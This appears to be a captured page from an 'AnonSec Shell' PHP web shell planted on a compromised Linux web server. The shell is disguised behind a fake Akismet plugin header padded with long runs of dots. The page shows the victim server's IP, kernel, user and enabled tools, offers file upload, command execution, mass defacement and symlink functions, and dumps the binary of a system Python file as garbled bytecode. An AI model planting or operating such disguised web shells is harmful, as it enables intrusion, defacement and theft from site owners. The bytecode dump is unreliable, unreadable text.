#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//managercli.pyc
�
L��ec@`sR
ddlmZmZmZddlZddlZddlZddlZddlZddl	m
Z
mZddlZddl
Z
ddlZddlZddlZddlZddlmZmZmZddlmZddlmZddlmZddlZddlj Z ddlm!Z!m"Z"m#Z#m$Z$dd	l%m&Z&m'Z'dd
l(m)Z)ddl*m+Z+ddl,m-Z-m.Z.dd
l/m0Z0m1Z1m2Z2ddl3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9ddl:m;Z;m<Z<m=Z=ddl(m>Z>ddl?m@Z@ddlAjBZCddlDmEZEddl(mFZFddlGmHZHddlImJZJmKZKddlLmMZMmNZNmOZOmPZPddlQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^ddl_m`Z`maZaddlbmcZcddldmeZemfZfmgZgmhZhmiZiddljmkZkddllmmZmddlnmoZompZqejres�ZtddlumvZvmwZwmxZxmyZymzZzm{Z{m|Z|ddlum}Z}dd l(m~Z~evjejvj���Z�d!Z�eqd"�Z�d#Z�ieqd$�e46eqd%�e56eqd&�e66eqd'�e76eqd(�e86eqd)�e96Z�eqd*�eqd+�eqd,�eqd-�eqd.�eqd/�eqd0�eqd1�gZ�eqd2�eqd3�eqd4�eqd5�eqd6�eqd7�eqd8�eqd9�eqd:�eqd;�eqd<�eqd=�eqd>�eqd?�eqd0�eqd1�eqd@�gZ�eqd2�eqd3�eqd4�eqd5�eqd<�gZ�eqdA�eqdB�eqdC�eqdD�gZ�eqd*�eqd.�gZ�eqdE�eqdF�gZ�eqdE�eqdG�gZ�eqd2�eqd3�eqd4�eqd5�eqdH�eqdI�eqd6�eqd7�eqdJ�eqdK�eqd:�eqd<�eqd/�eqd?�eqd0�eqd1�eqdL�gZ�eqd2�eqd3�eqd4�eqd5�eqdH�eqdI�eqd6�eqd7�eqdJ�eqdK�eqd:�eqd;�eqd<�eqd=�eqd>�eqd/�eqd?�eqd0�eqd1�eqd@�gZ�eqdM�Z�eqdN�Z�dO�Z�dP�Z�e�e�dQ�Z�dRe;fdS��YZ�dTe�fdU��YZ�dVe�fdW��YZ�dXe�fdY��YZ�dZe�fd[��YZ�d\e�fd]��YZ�d^e�fd_��YZ�d`e�fda��YZ�dbe�fdc��YZ�dde�fde��YZ�dfe�e�fdg��YZ�dhe�fdi��YZ�dje�fdk��YZ�dle�fdm��YZ�dne�fdo��YZ�dpe�fdq��YZ�dre�fds��YZ�dte�fdu��YZ�dve�fdw��YZ�dxe�fdy��YZ�dze�fd{��YZ�d|e�fd}��YZ�d~e�fd��YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e�fd���YZ�d�e<fd���YZ�esd�krN
e��j��ndS(�i(tprint_functiontdivisiontabsolute_importN(tOptionValueErrort
SUPPRESS_HELP(t	localtimetstrftimetstrptime(tCertificateException(tCONTENT_ACCESS_CERT_TYPE(tssl(tProxyExceptiontUnauthorizedExceptiontConnectionExceptiontRemoteServerException(t
remove_schemetServerUrlParseError(tidentity(tget_branding(tEntCertActionInvokertCONTENT_ACCESS_CERT_CAPABILITY(tActionClienttUnregisterActionClienttProfileActionClient(tFUTURE_SUBSCRIBEDt
SUBSCRIBEDtNOT_SUBSCRIBEDtEXPIREDtPARTIALLY_SUBSCRIBEDtUNKNOWN(tAbstractCLICommandtCLItsystem_exit(trhelentbranding(tClassicCheck(tPoolWrapper(t
managerlib(tvalid_quantity(tReleaseBackendtMultipleReleaseProductsError(tRepoActionInvokertYumRepoFiletYumPluginManagertmanage_repos_enabled(
tparse_server_infotparse_baseurl_infotformat_baseurltis_valid_server_infotMissingCaCertExceptiontget_client_versionstget_server_versionstrestart_virt_whotget_terminal_widthtprint_errortunique_list_itemstis_simple_content_accesstgenerate_correlation_id(t	OverridestOverride(tExceptionMapper(t	columnizetformat_nametnone_wrap_columnize_callbacktecho_columnize_callbackt'highlight_by_filter_string_columnize_cb(tsave_sla_to_syspurpose_metadata(tPackageProfileActionInvoker(t	ungettexttugettext(tconfigtattachtproductst
unregistertentitlementtregistertrefresh(t
exceptions(t
syspurposelibssubscription-managerscThis system is not yet registered. Try 'subscription-manager register --help' for more information.isFuture Subscriptiont
SubscribedsNot SubscribedtExpiredsPartially SubscribedtUnknowns
Product Name:sProduct ID:sVersion:sArch:sStatus:sStatus Details:sStarts:sEnds:sSubscription Name:s	Provides:sSKU:s	Contract:sPool ID:sProvides Management:s
Available:s
Suggested:s
Service Type:sRoles:sService Level:sUsage:sAdd-ons:sSubscription Type:sEntitlement Type:sRepo ID:s
Repo Name:s	Repo URL:sEnabled:sName:sDescription:sKey:sAccount:sSerial:sActive:sQuantity Used:sSystem Type:szWarning: A {attr} of "{download_value}" was recently set for this system by the entitlement server administrator.
{advice}sGIf you'd like to overwrite the server side change please run: {command}cC`s�t|t�r|�nt|tj�r3|�ntj|�tj|�t�}|j|�}|r~t	t
j|�nt	t
j|�dS(N(t
isinstancet
SystemExitt
connectiont
GoneExceptiontlogterrort	exceptionR;tget_messageR tostEX_SOFTWARE(tmsgtextexception_mappertmapped_message((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pythandle_exception�s		

	cC`std|d|�rdStj|�j�}|sHttd��dStjd�ttd��d}t}xo|D]g}|dt	kr�d}nt
|d}|dtkr�t}ntt
tt|d|�d	�qxW|s�ttd
��n|S(s�
    Try to show auto-attach output
    :param uep: object with connection to candlepin
    :param identity: object with identity
    :return: return 1, when all installed products are subscribed, otherwise return 0
    tuepRisNo products installed.s)Attempted to auto-attach/heal the system.s!Installed Product Current Status:iis
sGUnable to find available subscriptions for all your installed products.(R7RGtInstalledProductstlisttprintt_RUtdebugtTrueRt
STATUS_MAPRtFalseR<tPRODUCT_STATUSR?(R`Rtinstalled_productst
subscribedtall_subscribedtproducttstatus((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytshow_autosubscribe_output�s(

		%cC`sxy|j|j�}Wn[tjk
rN}tj|�ttj|j	�n&t
k
rs}ttd�|�nX|S(s�
    This function tries to get information about current owner.
    :param uep: connection to candlepin server
    :param identity: current identity of registered system
    :return: information about current owner
    s.Error: Unable to retrieve org list from server(
tgetOwnertuuidRStRestlibExceptionRURVR RYRZR[t	ExceptionR_Rd(R`Rtownertre_errterr((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytget_current_owner	s
t
CliCommandcB`s�eZdZdded�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zdd�ZRS(s" Base class for all sub-commands. tclicC`s#tj|d|d|d|�|j�|_|j�rG|j�nd|_d|_d|_	d|_
d|_d|_d|_
d|_d|_d|_tjtj�|_tjtj�|_|j�|_|j�|_tjtj�|_tjtj�|_t�|_ dS(Ntnamet	shortdesctprimary(!Rt__init__t_get_loggerRUtrequire_connectiont_add_proxy_optionstNonet
server_urltserver_hostnametserver_portt
server_prefixt
proxy_usertproxy_passwordt	proxy_urltproxy_hostnamet
proxy_porttno_proxytinjtrequiretENT_DIRtentitlement_dirtPROD_DIRtproduct_dirt_default_client_versiontclient_versionst_default_server_versiontserver_versionstPLUGIN_MANAGERtplugin_managertIDENTITYRR8tcorrelation_id(tselfRzR{R|((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}s*
										cC`s?t|j|j�}|d}ttd�jd|��dS(s�
        This message is shared by attach command and register command, because
        both commands can do auto-attach.
        :return: None
        tkeys�Ignoring the request to auto-attach. Attaching subscriptions is disabled for organization "{owner_id}" because Simple Content Access (SCA) is enabled.towner_idN(RwtcpRRcRdtformat(R�RtR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt!_print_ignore_auto_attach_message@s
cC`s tjd|j|jjf�S(Nsrhsm-app.%s.%s(tloggingt	getLoggert
__module__t	__class__t__name__(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR~SscC`s�|jrtddrtSz�yrtjtjtj�}|jd�|j|jpbtddt|j	p�tddp�t
jj�f�}Wn%t
k
r�}tjd|�tSXWd|j�X|r�tStSdS(NtserverR�i
R�sAttempted bad proxy: %s(R�tconfRftsockettAF_INETtSOCK_STREAMt
settimeoutt
connect_extintR�trhsmREtDEFAULT_PROXY_PORTRsRURVRhtclose(R�tstresultte((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyttest_proxy_connectionVs 
3	cC`s0tjtj�j�tjtj�j�dS(N(R�R�tCERT_SORTERtforce_cert_checkt
DBUS_IFACEtupdate(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_request_validity_checkjsc	C`sT|jjddddddtd��|jjddd	dtdtd
��dS(s6 Add options that allow the setting of the server URL.s--serverurltdestR�tdefaultthelps6server URL in the form of https://hostname:port/prefixs
--insecuretactiont
store_trues]do not check the entitlement server SSL certificate against available certificate authoritiesN(tparsert
add_optionR�RdRh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_add_url_optionsosc	C`s�|jjddddddtd��|jjddddddtd	��|jjd
dddddtd��|jjd
dddddtd��dS(sP Add proxy options that apply to sub-commands that require network connections. s--proxyR�R�R�R�s2proxy URL in the form of proxy_hostname:proxy_ports--proxyuserR�s-user for HTTP proxy with basic authentications--proxypasswordR�s1password for HTTP proxy with basic authentications	--noproxyR�s+host suffixes that should bypass HTTP proxyN(R�R�R�Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�wscC`sdS(N((R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_do_command�scC`sE|j�sttt�n%|j�sAttjtd��ndS(NsLConsumer identity either does not exist or is corrupted. Try register --help(tis_consumer_cert_presentR tERR_NOT_REGISTERED_CODEtERR_NOT_REGISTERED_MSGt
is_registeredRYt
EX_DATAERRRd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytassert_should_be_registered�s
cC`s"tjtj�|_|jj�S(N(R�R�R�Rt
is_present(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`s5tjtj�|_tjd|j�|jj�S(Ns%s(R�R�R�RRURetis_valid(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`stS(s�
        Whether to persist options like --serverurl or --baseurl to the
        rhsm.conf file when used.  For modules like register, we want this to
        be true.  For modules like orgs or environments, we want false.
        (Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytpersist_server_options�scC`stS(N(Rf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�scC`sitd�d6S(NRPssubscription-manager(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��scC`s+itd�d6td�d6td�d6S(NRPt	candlepins
rules-typesserver-type(Rd(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s
cC`s$t�|_tjd|j�dS(NsClient Versions: %s(R1R�RURe(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytlog_client_version�scC`s@|j�sdSt|jdt�|_tjd|j�dS(Ntexception_on_timeoutsServer Versions: %s(RR2t
no_auth_cpRhR�RURe(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytlog_server_version�scC`s�tjj�r(ttjtd��nt}|sDtj	d}n|j
j|�\|_|_
|j
d|_
|j
r�x%|j
D]}ttd�|�q�Wttj�nt|jd�r�|jjr�dtdd<t}nt|jd�r�|jjr�y+t|jjt�\|_|_|_Wn0tk
rc}ttd��td|�nX|jtdd	<|jtdd
<|jtdd<|jr�t|j�|_nt}nt|jd�rQ|jjrQyt|jj�\}}}Wn0tk
r-}ttd
��td
|�nXt|||�tdd<t}nt|jd�r�|jjr�t |jj�j!d�}|d|_"t#|�dkr�t|d�|_$n"tdj%d�p�tjj&|_$t}nt|jd�r|jj'r|jj'|_'nt|jd�rJ|jj(rJ|jj(|_(nt|jd�rz|jj)rz|jj)|_)ni}	|j"r�|j"|	d<n|j$r�|j$|	d<n|j'r�|j'|	d<n|j(r�|j(|	d<n|jr�|j|	d<n|jr|j|	d<n|jr/|j|	d<n|j)rH|j)|	d<nt*j+t*j,�|_-|j-j.|	�|j/j0d|j1�|j-j2|j1�|j3�|j4�r�|j-j5�|_6|j-j7�|_8t9�|_:|r�yp|j;�s
ttj<td ��nt=|j8�sQttj<td!�|j8j>|j8j?|j8j@f�nWq�tAk
r{ttjtd"��q�tBk
r�ttj<td ��q�Xq�n	d|_6y?|jD�}
|r�|jE�r�tjF�n|
dk	r�|
SWn�tGtHjIfk
r1}t/jJ|�ttjKtd#��njtLjMk
r�}|jN|jOjPkr�t/jQd$|jOjP�ttj<td%�|jOjP�q�|�nXdS(&Ns�subscription-manager is disabled when running inside a container. Please refer to your host system for subscription management.
iscannot parse argument: %stinsecuret1R�R�sError parsing serverurl:thostnametporttprefixtbase_urlsError parsing baseurl:R�tbaseurlR�t:iR�R�R�R�tproxy_hostname_argtproxy_port_argtproxy_user_argtproxy_password_argthosttssl_portthandlertno_proxy_argsX-Correlation-ID: %ss4Proxy connection failed, please check your settings.s%Unable to reach the server at %s:%s%ssFError: CA certificate for subscription service has not been installed.s1System certificates corrupted. Please reregister.s7Consumer profile "%s" has been deleted from the server.sxConsumer profile "%s" has been deleted from the server. You can use command clean or unregister to remove local profile.(RR�REtin_containerR RYt	EX_CONFIGRdRhtsystargvR�t
parse_argstoptionstargsRctEX_USAGEthasattrR�R�RfR�R,R�R�R�RR_R�R�R-R.R�RtsplitR�tlenR�tget_intR�R�R�R�R�R�tCP_PROVIDERtcp_providertset_connection_infoRUReR�tset_correlation_idR�Rtget_consumer_auth_cpR�tget_no_auth_cpR�Rt
entcertlibR�tEX_UNAVAILABLER/R�R�R�R0RR�R�R�tpersistRR
tSSLErrorRVRZRSRTt
deleted_idRRqtcritical(R�R�tconfig_changedtargR�tbaseurl_server_hostnametbaseurl_server_porttbaseurl_server_prefixtpartstconnection_infotreturn_codetge((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytmain�s�		+			
"									
		
	
 	

#N(R�R�t__doc__R�RhR}R�R~R�R�R�R�R�R�R�R�R�RR�R�R�R�R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRxs&"																tSyspurposeCommandcB`s�eZdZdeddd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�ZRS(sK
    Abstract command for manipulating an attribute of system purpose.
    tsettunsetcC`sYtt|�j|d|d|�||_||_|j�|_d|kr�|jjddddt	d�j
d|��nd	|kr�|jjd
dd	dddt	d
�j
d|��nd|kr|jjddddddgdt	d�j
d|��nd|krU|jjddddddgdt	d�j
d|��ndS(NR{R|Rs--setR�R�sSet {attr} of system purposetattrRs--unsetR�R�sUnset {attr} of system purposetadds--addtto_addtappendR�s!Add an item to the list ({attr}).tremoves--removet	to_removes&Remove an item from the list ({attr}).(tsuperRR}tcommandsRt_get_synced_storetstoreR�R�RdR�(R�RzR{R|RR
((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}^s:"						cC`s^yEddlm}tjtj�j�}|d|d|jj�SWntk
rYdSXdS(Ni(tSyncedStoreR`t
consumer_uuid(
tsyspurpose.filesRR�R�R�R�RRqtImportErrorR�(R�RR`((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s
cC`sUt|jdd�}t|jdd�}t|jdd�}t|jdd�}|ru|jjj�|j_n|r�g|jjD]!}t|t�r�|j�^q�|j_n|r�g|jjD]!}t|t�r�|j�^q�|j_n|s
|s
|r,|r,t	t
jtd��n|rQ|rQt	t
jtd��ndS(NRRRRs5--unset cannot be used with --set, --add, or --removes"--add cannot be used with --remove(
tgetattrR�R�RtstripRRQtstrRR RYR�Rd(R�RRRRtx((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_validate_options�s=*c`s��j�jj�td�jd�jd�jj�}�jd�fd�d|ddjd	�jd�jj�d�j�dS(
Ns{attr} set to "{val}".Rtvaltexpectationc`s|j�j��jjkS(N(tgetRR�R(tres(R�(sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt<lambda>�stsuccess_msgtcommands)subscription-manager {name} --set "{val}"Rz(t_setR�RRdR�Rt
_check_resultRz(R�R((R�sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s'	cC`s&|jr"|jj|j|�ndS(N(RRR(R�tto_set((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR �s	c	`sf�j�td�jd�j�}�jd�fd�d|ddjd�j�d�j�dS(	Ns
{attr} unset.RRc`s|j�j�ddggkS(Nt(RRR�(R(R�(sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�sRRs#subscription-manager {name} --unsetRz(t_unsetRdR�RR!Rz(R�R((R�sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s
	cC`s#|jr|jj|j�ndS(N(RRR(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR$�s	c	`s��j�jj�td�jd�j�}g�jjD]}d|d^q;}ddj|�}djd�j�|}�jd�fd	�d
|d|d�j�dS(Ns{attr} updated.Rt"s--add s --add ssubscription-manager {name} RzRc`s t�fd��jjD��S(Nc3`s'|]}|�jdg�kVqdS(taddonsN(R(t.0R(R(sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pys	<genexpr>�s(tallR�R(R(R�(RsE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�sRR(	t_addR�RRdR�RztjoinR!R(R�RtoptionR�RR((R�sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s'	cC`sRt|t�s|g}n|jrNx'|D]}|jj|j|�q+WndS(N(RQRbRRR(R�Rtitem((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR)�s
	
c	`s��j�jj�td�jd�jj��}g�jjD]}d|d^qA}ddj|�}djd�j�|}�jd�fd	�d
|d|d�j	�dS(Ns{attr} updated.RR%s	--remove s
 --remove ssubscription-manager {name} RzRc`s t�fd��jjD��S(Nc3`s'|]}|�jdg�kVqdS(R&N(R(R'R(R(sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pys	<genexpr>�s(R(R�R(R(R�(RsE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�sRR(
t_removeR�RRdR�Rzt
capitalizeR*R!R(R�RR+R�RR((R�sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR
�s!'	cC`sRt|t�s|g}n|jrNx'|D]}|jj|j|�q+WndS(N(RQRbRR
R(R�RR,((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR-�s
	
c	C`s�|j�r|j�j}ntj�}|dk	r�|j|kr�||jr�||j}t|t�st|ndj	|�}t
tdjd|j
j�d|���n%t
td�jd|j
j���dS(Ns, sCurrent {name}: {val}RzRs{name} not set.(R�tsyncR�RMtread_syspurposeR�RRQRbR*RcRdR�RzR.(R�t
syspurposeRtvalues((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytshow�s(
$cC`stj�jdt�dS(Ntinclude_resulti(RMtSyspurposeSyncActionCommandtperformRf(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR/�scC`s�|j�t|jdd�r,|j�n�t|jdd�rN|j�nxt|jd�r�t|jj�dkr�|j	�nAt|jd�r�t|jj
�dkr�|j�n
|j�dS(NRRRiR(
RRR�R�RRR�R�RRRR
R3(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR��s


*
*
cC`sB|j�r>|jjd�r>ttdjd|���ndS(NR1sYNote: The currently configured entitlement server does not support System Purpose {attr}.R(R�R�thas_capabilityRcRdR�(R�R((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pytcheck_syspurpose_supportsc		C`s�|jr(|jj�|jj�}ni}|r�||�r�tjd|�}||}ttjd|d|d|��}ttj	d|�n
t
|�dS(NRRtdownload_valuetadvicetmsgs(RR/tget_cached_contentst	SP_ADVICER�RdtSP_CONFLICT_MESSAGER RYRZRc(	R�RRRRR�R:tvalueR[((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR!s	

$N(ssetsunset(R�R�RR�RhR}RRRR RR$RR)R
R-R3R/R�R8R!(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRYs"%					
						
			tUserPassCommandcB`sJeZdZded�Zed��Zed��Z	ed��Z
RS(sJ
    Abstract class for commands that require a username and password
    cC`svtt|�j|||�d|_d|_|jjddddtd��|jjddddtd��dS(	Ns
--usernameR�tusernameR�s3username to use when authorizing against the servers
--passwordtpasswords3password to use when authorizing against the server(	RR@R}R�t	_usernamet	_passwordR�R�Rd(R�RzR{R|((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}s		
cC`sgx,|s.tjjtd��}tj�qWx|sPtjtd��}q2W|j�|j�fS(s�
        Safely get a username and password from the tty, without echoing.
        if either username or password are provided as arguments, they will
        not be prompted for.
        s
Username: s
Password: (tsixtmovestinputRdtreadlinet
clear_historytgetpassR(RARB((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_get_username_and_password)s		cC`s=|js6|j|jj|jj�\|_|_n|jS(N(RCRKR�RARBRD(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRA:s	'cC`s=|js6|j|jj|jj�\|_|_n|jS(N(RDRKR�RARBRC(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRBAs	'N(R�R�RR�RhR}tstaticmethodRKtpropertyRARB(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR@s

t
OrgCommandcB`s;eZdZded�Zed��Zed��Z	RS(s:
    Abstract class for commands that require an org.
    cC`sott|�j|||�d|_t|d�sFtd�|_n|jj	dddddd|j�dS(	Nt_org_help_textsspecify organizations--orgR�torgtmetavartORG_KEYR�(
RRNR}R�t_orgR�RdROR�R�(R�RzR{R|((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}Ms	cC`s3x,|s.tjjtd��}tj�qW|S(NsOrganization: (RERFRGRdRHRI(RP((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyt_get_orgUs	cC`s+|js$|j|jj�|_n|jS(N(RSRTR�RP(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRP\s	N(
R�R�RR�RhR}RLRTRMRP(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRNIstCleanCommandcB`s#eZd�Zd�Zd�ZRS(cC`s,td�}tt|�jd|t�dS(NsJRemove all local system and subscription data without affecting the servertclean(RdRRUR}Rh(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}dscC`s2tjt�ttd��|j�t�dS(NsAll local data removed(R$tclean_all_dataRhRcRdR�R3(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�is

cC`stS(N(Rh(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRrs(R�R�R}R�R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRUcs			tRefreshCommandcB`seZd�Zd�ZRS(cC`sNtd�}tt|�jd|t�|jjddddtd��dS(Ns1Pull the latest subscription data from the serverRKs--forceR�R�R�sforce certificate regeneration(RdRRXR}RfR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}wscC`s�|j�y8tjd|jd|j�}|jd|jj�Wngtjk
rz}t	j
|�ttj
|j�nBtk
r�}ttd�jd|�|�nXttd��|j�dS(NR�tent_cert_libtforces=Unable to perform refresh due to the following exception: {e}R�sAll local data refreshed(R�RKtRefreshR�R�R�RZRSRrRURVR RYRZR[RsR_RdR�RcR�(R�t_refresh_serviceRuR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�~s

 (R�R�R}R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyRXvs	tIdentityCommandcB`s#eZd�Zd�Zd�ZRS(cC`sptd�}tt|�jd|t�|jjddddtd��|jjddddtd	��dS(
NsEDisplay the identity certificate for this system or request a new oneRs--regenerateR�R�R�s&request a new certificate be generateds--forces\force certificate regeneration (requires username and password); Only used with --regenerate(RdRR]R}RhR�R�(R�R{((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR}�s
cC`s~|j�|jjr<|jjr<ttjtd��n|jjsT|jj	rz|jjrzttjtd��ndS(Ns*--force can only be used with --regenerates7--username and --password can only be used with --force(
R�R�RZt
regenerateR RYR�RdRARB(R�((sE/usr/lib64/python2.7/site-packages/subscription_manager/managercli.pyR�s

%cC`sstjtj�}t�j�rk|j�rJttd�t�j	�qkttd�t�j
�dSny�|j�|jj
}|jj}|jjs|t|j|j�}|d}|d}ttd�|�ttd�|�ttd�|�ttd�|�|jjd�r�|jj|�}|d	}|rV|d
}	ntd�}	ttd�|	�q�n�|jjr�|jj|j|j�|jj�|_n|jj|�}tj|�|jj�ttd
��tj d�Wnlt!j"k
rI}
tj#|
�tj$d|
�t%t&j'|
j(�n&t)k
rn}t*td�|�nXdS(Nsserver type: %stdisplayNameR�ssystem identity: %ssname: %ssorg name: %ss
